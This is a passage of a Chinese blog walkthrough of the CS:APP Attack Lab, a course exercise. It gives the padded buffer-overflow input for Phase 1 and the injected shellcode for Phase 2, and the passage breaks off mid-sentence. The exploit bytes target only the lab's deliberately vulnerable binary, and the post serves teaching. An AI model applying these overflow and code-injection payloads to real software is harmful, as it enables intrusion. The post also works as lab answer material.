【深入理解计算机系统csapp lab】attacklab

本文详细介绍了Attack Lab的学习过程,包括Code Injection Attack的3个阶段和Return-Oriented Programming的2个阶段。在Phase 1中,通过缓存区溢出改变返回地址;Phase 2则需要注入代码并传递参数;Phase 3增加了传递字符串指针的难度;Phase 4和Phase 5转向return-oriented attack,寻找并组合现有指令完成目标。

Attack lab

Attack lab的handout写的非常详细,容易上手。一共分为两部分:第一部分是code injection attack,有3个phase;第二部分是return-oriented programming,需要在已有的程序里找需要执行的指令来完成整个程序,有2个phase。

Phase 1:
在这部分需要做的工作很简单,利用缓存区溢出,把位于getbuf栈帧底部的返回地址改为函数touch1的地址即可。
在反汇编的代码中找到getbuf函数:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp

可以看到分配的缓存区大小是0x28,,也就算40个字节。
也就是我们需要输入40个字节+目标地址(touch1)。

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40

注意小端存储模式是低位在低地址,先输入,所以地址的输入顺序应该是按字节反过来的。

Phase 2:
这一关不但要跳转到函数touch2,还要在这之前传递指定参数。
思路是:在缓冲区中注入代码,并将原本的函数返回地址重定向到我们注入的代码。
注入的代码是:

   48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi  //将cookie赋值给rdi(传参)
   68 ec 17 40 00       		pushq  $0x4017ec //压栈touch2地址
   c3                   			retq   //返回(到touch2)

将这部分汇编代码写入getbuf缓存区的起始位置(rsp指向的位置),打

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值